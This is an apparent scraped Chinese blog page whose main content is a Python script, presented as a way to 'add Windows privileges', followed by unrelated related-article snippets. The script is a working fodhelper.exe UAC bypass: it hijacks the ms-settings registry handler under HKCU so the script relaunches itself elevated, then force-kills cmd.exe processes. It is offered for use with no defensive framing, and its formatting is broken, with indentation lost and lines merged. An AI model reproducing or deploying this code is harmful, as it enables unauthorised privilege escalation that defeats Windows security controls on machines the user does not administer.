python 添加Windows权限
# -*- coding: utf-8 -*-
"""
Created on Mon Jan 8 09:09:51 2018 @author: coordinate
"""
from __future__ import print_function
import os
import sys,time
import ctypes
if sys.version_info[0] == 3:
import winreg as winreg
else:
import _winreg as winreg CMD = r"C:\Windows\System32\cmd.exe"
FOD_HELPER = r'C:\Windows\System32\fodhelper.exe'
PYTHON_CMD = "python"
REG_PATH = 'Software\Classes\ms-settings\shell\open\command'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute' def is_admin():
'''
Checks if the script is running with administrative privileges.
Returns True if is running as admin, False otherwise.
'''
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False def create_reg_key(key, value):
'''
Creates a reg key
'''
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
except WindowsError:
raise def bypass_uac(cmd):
'''
Tries to bypass the UAC
'''
try:
create_reg_key(DELEGATE_EXEC_REG_KEY, '')
create_reg_key(None, cmd)
except WindowsError:
raise def execute():
if not is_admin():
print('[!] The script is NOT running with administrative privileges')
print('[+] Trying to bypass the UAC')
try:
current_dir = __file__
cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)
bypass_uac(cmd)
os.system(FOD_HELPER)
sys.exit(0)
except WindowsError:
sys.exit(1)
else:
command1 = 'taskkill /F /IM cmd.exe'
# command2 = 'start cmd /k'
# command3 = 'cd C:\Users\yuxinglx\Downloads\MagicBox'
# command4 = 'install_app.bat'
os.system(command1)
time.sleep(5)
command2 = 'start cmd /k'
os.system(command2)
# os.system(command3)
# os.system(command4)
print('[+] The script is running with administrative privileges!') if __name__ == '__main__':
# execute()
python 添加Windows权限的更多相关文章
- python添加Windows环境变量
1.cmd中添加方式 SET PATH=%PATH%;c:\Program Files (x86)\Wireshark 注:如上代码添加c:\Program Files (x86)\Wireshark ...
- python添加windows域验证
1.安装python-ldap https://pypi.python.org/pypi/python-ldap/ 在 Ubuntu/Debian 下安装 python-ldap 模块: $ sudo ...
- Jenkins 为Jenkins添加Windows Slave远程执行python项目脚本
为Jenkins添加Windows Slave远程执行python项目脚本 by:授客 QQ:1033553122 测试环境 JAVA JDK 1.7.0_13 (jdk-7u13-windows ...
- 在Winform程序中设置管理员权限及为用户组添加写入权限
在我们一些Winform程序中,往往需要具有一些特殊的权限才能操作系统文件,我们可以设置运行程序具有管理员权限或者设置运行程序的目录具有写入的权限,如果是在操作系统里面,我们可以设置运行程序以管理员身 ...
- python 基于windows环境的ftp功能
描述: 1.基于备份服务器部署的py程序,将需要备份主机目录下的内容下载至备份服务器(服务端和远端都是windows server 2008) 2.py程序部署在windows服务器,后台运行,基于b ...
- Python 写Windows Service服务程序
1.需求 为什么要开发一个windows服务呢?之前做一个程序,必须要读取指定目录文件License, 因为其他程序也在读取这指定目录的License文件,且License不同时会修改License的 ...
- (转)在Winform程序中设置管理员权限及为用户组添加写入权限
本文转载自:http://www.cnblogs.com/wuhuacong/p/5645172.html 在我们一些Winform程序中,往往需要具有一些特殊的权限才能操作系统文件,我们可以设置运行 ...
- Loadrunner 添加windows资源没反应
使用 LoadRunner Controller 添加Windows资源系统没有反应, 解决办法 : 1.关闭Windows 防火墙 2.若使用的不是本机 1) 首先要启动所监测机器的remote r ...
- 命令行添加用户的“作为服务登录”权利(添加Windows用户的时候,门道不是一般的多)good
1.打开控制台(“开始”|“运行”中输入:MMC) 2.“文件”菜单|“添加删除管理单元”|“添加...”|选“安全模板”|“关闭”. 3.在“C:\Windows\Security\template ...
随机推荐
- PHP对二维数组进行排序
/** * 获取最近的店铺 * @param $lng * @param $lat * @return array */ protected function getClosestShop($lng, ...
- 手撕面试官系列(五):Tomcat+Mysql+设计模式面试专题
Tomcat (面试题+答案领取方式见侧边栏) Tomcat 的缺省端口是多少,怎么修改? tomcat 有哪几种 Connector 运行模式(优化)? Tomcat 有几种部署方式? tomcat ...
- Java开发笔记(一百五十一)Druid连接池的用法
C3P0连接池自诞生以来在Java Web领域反响甚好,业已成为hibenate框架推荐的连接池.谁知人红是非多,C3P0在大型应用场合中暴露了越来越多的局限性,包括但不限于下列几点:1.C3P0管理 ...
- LeetCode runtime error
今天在写LeetCode的某一道题目时候,遇到runtime error问题,本地能过,submit后死活不能通过. 查了一下网上的一些答案,基本上都是数组.指针没有初始化造成野指针.数组索引值越界. ...
- Jenkins服务使用 宿主机的docker、docker-compose (Jenkins 执行sudo命令时出现“sudo: no tty present and no askpass program specified”,以及 docker-compose command not found解决办法)
若要转载本文,请务必声明出处:https://www.cnblogs.com/zhongyuanzhao000/p/11681474.html 原因: 本人最近正在尝试CI/CD,所以就使用了 Jen ...
- Git diff (---和+++具体解释)(转)
转自:https://blog.csdn.net/lovezbs/article/details/46492933
- ubuntu安装texlive2019
1.下载texlive2019的iso文件,清华镜像地址:https://mirrors.tuna.tsinghua.edu.cn/CTAN/systems/texlive/Images/texliv ...
- httpd服务的配置及应用
一.httpd服务的配置文件 httpd服务的主配置文件通常为httpd根目录下的conf/httpd.conf文件,通过yum安装的httpd服务的主配置路径通常如下: httpd-2.2:/etc ...
- Teamviewer显示“未就绪,请检查您的连接”解决办法
打开TeamViewer一直提示“未就绪,请检查您的连接”,一直会弹出一个框提示检查网路设置什么. 解决办法:修改DNS为114.114.114.114,然后TeamViewer就显示网络正常. 为什 ...
- centos8安装chromium浏览器
1/yum install epel* [root@localhost framework]# yum list epl* Last metadata expiration check: 0:57:4 ...